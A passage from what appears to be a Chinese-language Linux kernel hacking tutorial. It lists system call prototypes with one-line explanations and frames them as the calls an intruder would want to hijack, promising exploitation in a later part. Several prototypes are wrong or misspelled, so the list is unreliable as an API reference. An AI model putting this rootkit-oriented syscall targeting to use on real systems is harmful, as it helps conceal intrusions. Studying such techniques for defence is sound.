sys_sethostname是用来设置主机名(hostname)的,sys_gethostname是用来取的
int sys_chdir (const char *path);
int sys_fchdir (unsigned int fd);
两个函数都是用于设置当前的目录的(cd ...)
int sys_chmod (const char *filename, mode_t mode);
int sys_chown (const char *filename, mode_t mode);
int sys_fchmod (unsigned int fildes, mode_t mode);
int sys_fchown (unsigned int fildes, mode_t mode);
用于管理权限的函数
int sys_chroot (const char *filename);
用于设置运行进程的根目录的
int sys_execve (struct pt_regs regs);
非常重要的系统调用->用于执行一个可执行文件的(pt_regs是堆栈寄存器)
long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long arg);
改变fd(打开文件描述符)的属性的
int sym_link (const char *oldname, const char *newname);
int sys_unlink (const char *name);
用于管理硬/软链接的函数
int sys_rename (const char *oldname, const char *newname);
用于改变文件名
int sys_rmdir (const char* name);
int sys_mkdir (const *char filename, int mode);
用于新建已经删除目录
int sys_open (const char *filename, int mode);
int sys_close (unsigned int fd);
所有和打开文件(包括新建)有关的操作,还有关闭文件的.
int sys_read (unsigned int fd, char *buf, unsigned int count);
int sys_write (unsigned int fd, char *buf, unsigned int count);
读写文件的系统调用
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
用于取得文件列表的系统调用(ls...命令)
int sys_readlink (const char *path, char *buf, int bufsize);
读符号链接的系统调用
int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp);
多路复用I/O操作
sys_socketcall (int call, unsigned long args);
socket 函数
unsigned long sys_create_module (char *name, unsigned long size);
int sys_delete_module (char *name);
int sys_query_module (const char *name, int which, void *buf, size_t bufsize,
size_t *ret);
用于模块的加载/卸载和查询.
以上就是我认为入侵者会感兴趣的系统调用.当然如果要获得系统的root权你有可能需要一些特殊的系统调用,但是作为一个hacker他很可能会拥有一个上面列出的最基本的列表.在第二部分中你会知道如何利用这些系统调用来实现你自己的目的.